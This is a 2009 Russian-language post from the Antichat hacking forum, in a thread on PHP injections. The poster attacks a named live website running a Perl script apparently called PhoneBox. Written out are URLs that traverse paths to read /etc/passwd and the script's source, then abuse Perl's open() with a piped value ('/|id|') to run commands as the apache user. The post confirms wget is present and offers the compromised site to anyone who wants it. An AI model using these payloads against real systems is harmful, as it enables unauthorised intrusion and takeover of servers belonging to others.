PHP Иньекции — ANTICHAT Forum

#11

30.01.2009, 00:40

The matrix

Reservists Of Antichat - Level 6

Регистрация: 09.07.2008

Сообщений: 102

Провел на форуме:
1744345

Репутация: 573

Цитата:

Сообщение от The matrix

Код:

http://fleaket.com/index.pl?page=../../../../../../../etc/passwd

читаем passwd

Резуляьтат Смотрим в сурсах

Прошу прощения... Тут можно без проблем все до конца дрвести(до выполнеия кода), уж так решил, посмотреть и довести до ума то, что не довел раньше.
Движлан на перле
читаем index.pl

Код:

http://fleaket.com/index.pl?page=index.pl

из содержания можно понять.

Его болезнь

Код:

if (open(PAGE, $page))

стоит проверка на наличие файла.
Стандартная связка |id| не прокатит
Там еще есть один момент, но слишком в подробности вдаваться не буду сразу к делу. Эксплуатируется баг следующим образом.

Код:

http://fleaket.com/index.pl?page=/|id|

]
просто получаем выполнение кода.
uid=48(apache) gid=48(apache) groups=48(apache)

Код:

http://fleaket.com/index.pl?page=/|which%20wget|

/usr/bin/wget

Вроди как робит вгет, кому надо забирайте.

Еще из исходника понял, что продукт называется
PhoneBox